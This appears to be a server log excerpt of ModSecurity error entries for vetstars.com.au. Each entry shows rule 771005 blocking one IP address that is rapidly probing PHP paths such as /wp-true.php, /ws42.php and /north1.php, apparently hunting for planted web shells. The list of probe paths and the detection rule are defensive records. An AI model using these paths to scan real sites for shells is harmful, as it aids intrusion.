[Wed Apr 01 02:48:30.213670 2026] [:error] [pid 52836:tid 52906] [client 68.221.68.130:23144] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-true.php"] [unique_id "acwW_pjk_YTY8bXnEz5vMgAAAE4"]
[Wed Apr 01 02:48:30.632221 2026] [:error] [pid 52593:tid 52679] [client 68.221.68.130:23161] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "acwW_uKOtxqtcDhRtD-hhgAAAIU"]
[Wed Apr 01 02:48:30.696759 2026] [:error] [pid 52836:tid 52894] [client 68.221.68.130:23079] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-true.php"] [unique_id "acwW_pjk_YTY8bXnEz5vNQAAAEI"]
[Wed Apr 01 02:48:31.109879 2026] [:error] [pid 52836:tid 52901] [client 68.221.68.130:23145] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "acwW_5jk_YTY8bXnEz5vNwAAAEk"]
[Wed Apr 01 02:48:31.178168 2026] [:error] [pid 52592:tid 52670] [client 68.221.68.130:23074] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-true.php"] [unique_id "acwW_z-61iqkPKUhqlb8fwAAABc"]
[Wed Apr 01 02:48:31.593631 2026] [:error] [pid 52593:tid 52689] [client 68.221.68.130:23150] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-true.php"] [unique_id "acwW_-KOtxqtcDhRtD-higAAAI8"]
[Wed Apr 01 02:48:31.659927 2026] [:error] [pid 52594:tid 52713] [client 68.221.68.130:23147] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-true.php"] [unique_id "acwW_0e53suVMS91e0RHTAAAAMw"]
[Wed Apr 01 02:48:32.073478 2026] [:error] [pid 52836:tid 52906] [client 68.221.68.130:23064] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-true.php"] [unique_id "acwXAJjk_YTY8bXnEz5vPAAAAE4"]
[Wed Apr 01 02:48:32.156600 2026] [:error] [pid 52836:tid 52899] [client 68.221.68.130:23108] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "acwXAJjk_YTY8bXnEz5vPQAAAEc"]
[Wed Apr 01 02:48:32.554195 2026] [:error] [pid 52836:tid 52910] [client 68.221.68.130:23129] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-true.php"] [unique_id "acwXAJjk_YTY8bXnEz5vPwAAAFI"]
[Wed Apr 01 02:48:32.635930 2026] [:error] [pid 52836:tid 52894] [client 68.221.68.130:23095] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "acwXAJjk_YTY8bXnEz5vQAAAAEI"]
[Wed Apr 01 02:48:33.031727 2026] [:error] [pid 19113:tid 19118] [client 68.221.68.130:23115] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-true.php"] [unique_id "acwXAfXQdXnDyA4XYbYD8AAAAQM"]
[Wed Apr 01 02:48:33.124779 2026] [:error] [pid 19113:tid 19132] [client 68.221.68.130:23075] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "acwXAfXQdXnDyA4XYbYD8QAAARE"]
[Wed Apr 01 02:48:33.514587 2026] [:error] [pid 52594:tid 52710] [client 68.221.68.130:23090] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "acwXAUe53suVMS91e0RHUQAAAMk"]
[Wed Apr 01 02:48:33.604989 2026] [:error] [pid 52593:tid 52698] [client 68.221.68.130:23162] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "acwXAeKOtxqtcDhRtD-hjQAAAJg"]
[Wed Apr 01 02:48:33.994921 2026] [:error] [pid 52594:tid 52711] [client 68.221.68.130:22982] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "acwXAUe53suVMS91e0RHUgAAAMo"]
[Wed Apr 01 02:48:34.084572 2026] [:error] [pid 52593:tid 52697] [client 68.221.68.130:23065] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acwXAuKOtxqtcDhRtD-hjgAAAJc"]
[Wed Apr 01 02:48:34.474426 2026] [:error] [pid 52593:tid 52683] [client 68.221.68.130:23167] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "acwXAuKOtxqtcDhRtD-hjwAAAIk"]
[Wed Apr 01 02:48:34.564604 2026] [:error] [pid 52593:tid 52674] [client 68.221.68.130:23068] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acwXAuKOtxqtcDhRtD-hkAAAAIA"]
[Wed Apr 01 02:48:34.965232 2026] [:error] [pid 52593:tid 52692] [client 68.221.68.130:23026] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "acwXAuKOtxqtcDhRtD-hkwAAAJI"]
[Wed Apr 01 02:48:35.045053 2026] [:error] [pid 52593:tid 52677] [client 68.221.68.130:23071] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acwXA-KOtxqtcDhRtD-hlQAAAIM"]
[Wed Apr 01 02:48:35.447290 2026] [:error] [pid 52592:tid 52656] [client 68.221.68.130:23123] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acwXAz-61iqkPKUhqlb8gwAAAAk"]
[Wed Apr 01 02:48:35.547967 2026] [:error] [pid 52592:tid 52659] [client 68.221.68.130:23122] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acwXAz-61iqkPKUhqlb8hAAAAAw"]
[Wed Apr 01 02:48:35.928153 2026] [:error] [pid 52593:tid 52690] [client 68.221.68.130:22927] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acwXA-KOtxqtcDhRtD-hmAAAAJA"]
[Wed Apr 01 02:48:36.028888 2026] [:error] [pid 19113:tid 19127] [client 68.221.68.130:23094] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acwXBPXQdXnDyA4XYbYD9gAAAQw"]
[Wed Apr 01 02:48:36.407574 2026] [:error] [pid 52594:tid 52712] [client 68.221.68.130:23008] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acwXBEe53suVMS91e0RHVQAAAMs"]
[Wed Apr 01 02:48:36.508942 2026] [:error] [pid 52594:tid 52714] [client 68.221.68.130:23121] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acwXBEe53suVMS91e0RHVgAAAM0"]
[Wed Apr 01 02:48:36.886627 2026] [:error] [pid 52836:tid 52894] [client 68.221.68.130:23057] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acwXBJjk_YTY8bXnEz5vRwAAAEI"]
[Wed Apr 01 02:48:36.990027 2026] [:error] [pid 19113:tid 19116] [client 68.221.68.130:23084] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acwXBPXQdXnDyA4XYbYD_AAAAQE"]
[Wed Apr 01 02:48:37.365931 2026] [:error] [pid 19113:tid 19137] [client 68.221.68.130:23062] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acwXBfXQdXnDyA4XYbYD_gAAARY"]
[Wed Apr 01 02:48:37.474352 2026] [:error] [pid 19113:tid 19117] [client 68.221.68.130:23112] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acwXBfXQdXnDyA4XYbYD_wAAAQI"]
[Wed Apr 01 02:48:37.847521 2026] [:error] [pid 19113:tid 19133] [client 68.221.68.130:23117] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acwXBfXQdXnDyA4XYbYEAgAAARI"]
[Wed Apr 01 02:48:37.966609 2026] [:error] [pid 19113:tid 19128] [client 68.221.68.130:22978] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acwXBfXQdXnDyA4XYbYEAwAAAQ0"]
[Wed Apr 01 02:48:38.331550 2026] [:error] [pid 19113:tid 19115] [client 68.221.68.130:23047] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acwXBvXQdXnDyA4XYbYEBgAAAQA"]
[Wed Apr 01 02:48:38.451522 2026] [:error] [pid 19113:tid 19137] [client 68.221.68.130:23076] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acwXBvXQdXnDyA4XYbYECQAAARY"]
[Wed Apr 01 02:48:38.810914 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:23166] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acwXBvXQdXnDyA4XYbYEDwAAARQ"]
[Wed Apr 01 02:48:38.932367 2026] [:error] [pid 19113:tid 19125] [client 68.221.68.130:23069] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acwXBvXQdXnDyA4XYbYEEQAAAQo"]
[Wed Apr 01 02:48:39.294877 2026] [:error] [pid 52592:tid 52666] [client 68.221.68.130:23057] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acwXBz-61iqkPKUhqlb8igAAABM"]
[Wed Apr 01 02:48:39.414471 2026] [:error] [pid 52592:tid 52671] [client 68.221.68.130:23154] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acwXBz-61iqkPKUhqlb8iwAAABg"]
[Wed Apr 01 02:48:39.778856 2026] [:error] [pid 19113:tid 19124] [client 68.221.68.130:23088] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acwXB_XQdXnDyA4XYbYEGQAAAQk"]
[Wed Apr 01 02:48:39.895280 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:23104] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "acwXB_XQdXnDyA4XYbYEGgAAARQ"]
[Wed Apr 01 02:48:40.263464 2026] [:error] [pid 19113:tid 19130] [client 68.221.68.130:23072] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "acwXCPXQdXnDyA4XYbYEGwAAAQ8"]
[Wed Apr 01 02:48:40.386707 2026] [:error] [pid 19113:tid 19129] [client 68.221.68.130:23078] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "acwXCPXQdXnDyA4XYbYEHQAAAQ4"]
[Wed Apr 01 02:48:40.745901 2026] [:error] [pid 19113:tid 19128] [client 68.221.68.130:23151] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "acwXCPXQdXnDyA4XYbYEIAAAAQ0"]
[Wed Apr 01 02:48:40.881017 2026] [:error] [pid 19113:tid 19124] [client 68.221.68.130:23031] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "acwXCPXQdXnDyA4XYbYEIwAAAQk"]
[Wed Apr 01 02:48:41.228125 2026] [:error] [pid 19113:tid 19130] [client 68.221.68.130:23131] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "acwXCfXQdXnDyA4XYbYEJwAAAQ8"]
[Wed Apr 01 02:48:41.372375 2026] [:error] [pid 19113:tid 19118] [client 68.221.68.130:22991] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "acwXCfXQdXnDyA4XYbYEKQAAAQM"]
[Wed Apr 01 02:48:41.708921 2026] [:error] [pid 19113:tid 19127] [client 68.221.68.130:23138] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "acwXCfXQdXnDyA4XYbYEKwAAAQw"]
[Wed Apr 01 02:48:41.862390 2026] [:error] [pid 19113:tid 19124] [client 68.221.68.130:23133] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acwXCfXQdXnDyA4XYbYELwAAAQk"]
[Wed Apr 01 02:48:42.189323 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:23165] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acwXCvXQdXnDyA4XYbYEMAAAARQ"]
[Wed Apr 01 02:48:42.345872 2026] [:error] [pid 52594:tid 52719] [client 68.221.68.130:23157] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acwXCke53suVMS91e0RHWQAAANI"]
[Wed Apr 01 02:48:42.691212 2026] [:error] [pid 52592:tid 52662] [client 68.221.68.130:23103] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acwXCj-61iqkPKUhqlb8kQAAAA8"]
[Wed Apr 01 02:48:42.827480 2026] [:error] [pid 52594:tid 52723] [client 68.221.68.130:23085] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acwXCke53suVMS91e0RHWgAAANY"]
[Wed Apr 01 02:48:43.168284 2026] [:error] [pid 19113:tid 19131] [client 68.221.68.130:22996] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acwXC_XQdXnDyA4XYbYENAAAARA"]
[Wed Apr 01 02:48:43.306025 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:23015] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acwXC_XQdXnDyA4XYbYENwAAAQg"]
[Wed Apr 01 02:48:43.651456 2026] [:error] [pid 52592:tid 52651] [client 68.221.68.130:23160] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acwXCz-61iqkPKUhqlb8kgAAAAQ"]
[Wed Apr 01 02:48:43.789486 2026] [:error] [pid 19113:tid 19120] [client 68.221.68.130:23083] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "acwXC_XQdXnDyA4XYbYEOwAAAQU"]
